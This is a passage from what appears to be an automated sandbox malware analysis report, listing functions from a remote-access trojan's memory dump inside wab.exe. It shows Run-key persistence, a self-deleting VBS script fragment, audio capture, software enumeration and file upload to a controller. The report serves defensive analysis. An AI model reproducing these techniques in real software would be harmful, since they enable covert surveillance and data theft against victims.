                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                              • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                              • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                                            • ExitProcess.KERNEL32 ref: 0040D419
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                            • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                                            • API String ID: 3797177996-2557013105
                                            • Opcode ID: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                                            • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                                            • Opcode Fuzzy Hash: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                                            • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                                            Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                                            • ExitProcess.KERNEL32(00000000), ref: 004124A0
                                            • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                                            • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                                            • CloseHandle.KERNEL32(00000000), ref: 0041253B
                                            • GetCurrentProcessId.KERNEL32 ref: 00412541
                                            • PathFileExistsW.SHLWAPI(?), ref: 00412572
                                            • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                                            • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                                            • lstrcatW.KERNEL32 ref: 00412601
                                              • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                                            • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                                            • Sleep.KERNEL32(000001F4), ref: 00412682
                                            • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                                            • CloseHandle.KERNEL32(00000000), ref: 004126A9
                                            • GetCurrentProcessId.KERNEL32 ref: 004126AF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                            • String ID: .exe$8SG$WDH$exepath$open$temp_
                                            • API String ID: 2649220323-436679193
                                            • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                                            • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                                            • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                                            • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                                            Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                                            • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                                            • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                                            • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                                            • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                                            • SetEvent.KERNEL32 ref: 0041B219
                                            • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                                            • CloseHandle.KERNEL32 ref: 0041B23A
                                            • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                                            • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                            • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                            • API String ID: 738084811-2094122233
                                            • Opcode ID: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                                            • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                                            • Opcode Fuzzy Hash: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                                            • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                                            Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                            • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                            • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                            • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                            • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                            • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                            • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                            • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                            • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                            • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Write$Create
                                            • String ID: RIFF$WAVE$data$fmt
                                            • API String ID: 1602526932-4212202414
                                            • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                            • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                                            • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                            • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                                            Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Program Files (x86)\Windows Mail\wab.exe,00000001,0040764D,C:\Program Files (x86)\Windows Mail\wab.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                                            • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressHandleModuleProc
                                            • String ID: C:\Program Files (x86)\Windows Mail\wab.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                            • API String ID: 1646373207-4259250253
                                            • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                            • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                                            • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                            • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                                            Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _wcslen.LIBCMT ref: 0040CE07
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                                            • CopyFileW.KERNEL32 ref: 0040CED0
                                            • _wcslen.LIBCMT ref: 0040CEE6
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                                            • CopyFileW.KERNEL32 ref: 0040CF84
                                            • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                                            • _wcslen.LIBCMT ref: 0040CFC6
                                            • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                                            • CloseHandle.KERNEL32 ref: 0040D02D
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                                            • ExitProcess.KERNEL32 ref: 0040D062
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                            • String ID: 6$C:\Program Files (x86)\Windows Mail\wab.exe$del$open
                                            • API String ID: 1579085052-2084407029
                                            • Opcode ID: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                                            • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                                            • Opcode Fuzzy Hash: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                                            • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                                            Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?), ref: 0041C036
                                            • _memcmp.LIBVCRUNTIME ref: 0041C04E
                                            • lstrlenW.KERNEL32(?), ref: 0041C067
                                            • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                                            • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                                            • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                                            • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                                            • _wcslen.LIBCMT ref: 0041C13B
                                            • FindVolumeClose.KERNEL32 ref: 0041C15B
                                            • GetLastError.KERNEL32 ref: 0041C173
                                            • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                                            • lstrcatW.KERNEL32 ref: 0041C1B9
                                            • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                                            • GetLastError.KERNEL32 ref: 0041C1D0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                            • String ID: ?
                                            • API String ID: 3941738427-1684325040
                                            • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                                            • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                                            • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                                            • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                                            Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                            • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                                            • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                                            • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                                            • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                                            • Sleep.KERNEL32(00000064), ref: 00412E94
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                            • String ID: /stext "$0TG$0TG$NG$NG
                                            • API String ID: 1223786279-2576077980
                                            • Opcode ID: bc7e362d57d7670180143ae5cce880ef26dc034d902ff58de5e25bf17600ed29
                                            • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                                            • Opcode Fuzzy Hash: bc7e362d57d7670180143ae5cce880ef26dc034d902ff58de5e25bf17600ed29
                                            • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                                            Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$EnvironmentVariable
                                            • String ID:
                                            • API String ID: 1464849758-0
                                            • Opcode ID: 8c398c17f7198d8e95fa4204fbdfe0aa09a5082618e125736fc7a2c78f972757
                                            • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                                            • Opcode Fuzzy Hash: 8c398c17f7198d8e95fa4204fbdfe0aa09a5082618e125736fc7a2c78f972757
                                            • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                                            Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                                            • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                                            • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEnumOpen
                                            • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                            • API String ID: 1332880857-3714951968
                                            • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                                            • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                                            • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                                            • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                                            Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                                            • GetCursorPos.USER32(?), ref: 0041D5E9
                                            • SetForegroundWindow.USER32(?), ref: 0041D5F2
                                            • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                                            • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                                            • ExitProcess.KERNEL32 ref: 0041D665
                                            • CreatePopupMenu.USER32 ref: 0041D66B
                                            • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                            • String ID: Close
                                            • API String ID: 1657328048-3535843008
                                            • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                            • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                                            • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                            • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                                            Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$Info
                                            • String ID:
                                            • API String ID: 2509303402-0
                                            • Opcode ID: 5869cf30a6bc76c96b91810e50649579c2b114ba446574e9e9616964d5930224
                                            • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                                            • Opcode Fuzzy Hash: 5869cf30a6bc76c96b91810e50649579c2b114ba446574e9e9616964d5930224
                                            • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                                            Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                                            • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                                            • __aulldiv.LIBCMT ref: 00408D4D
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                                            • CloseHandle.KERNEL32(00000000), ref: 00408F64
                                            • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                                            • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                            • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                            • API String ID: 3086580692-2582957567
                                            • Opcode ID: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                                            • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                                            • Opcode Fuzzy Hash: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                                            • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                                            Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32(00001388), ref: 0040A740
                                              • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                              • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                              • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                              • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                                            • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                                            • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                            • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                            • API String ID: 3795512280-1152054767
                                            • Opcode ID: 6f73b5aa983a983c729dc0a6f3b495559223a18d1a5043611dd20871b8f51584
                                            • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                                            • Opcode Fuzzy Hash: 6f73b5aa983a983c729dc0a6f3b495559223a18d1a5043611dd20871b8f51584
                                            • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                                            Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___free_lconv_mon.LIBCMT ref: 0045130A
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                                            • _free.LIBCMT ref: 004512FF
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00451321
                                            • _free.LIBCMT ref: 00451336
                                            • _free.LIBCMT ref: 00451341
                                            • _free.LIBCMT ref: 00451363
                                            • _free.LIBCMT ref: 00451376
                                            • _free.LIBCMT ref: 00451384
                                            • _free.LIBCMT ref: 0045138F
                                            • _free.LIBCMT ref: 004513C7
                                            • _free.LIBCMT ref: 004513CE
                                            • _free.LIBCMT ref: 004513EB
                                            • _free.LIBCMT ref: 00451403
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                            • String ID:
                                            • API String ID: 161543041-0
                                            • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
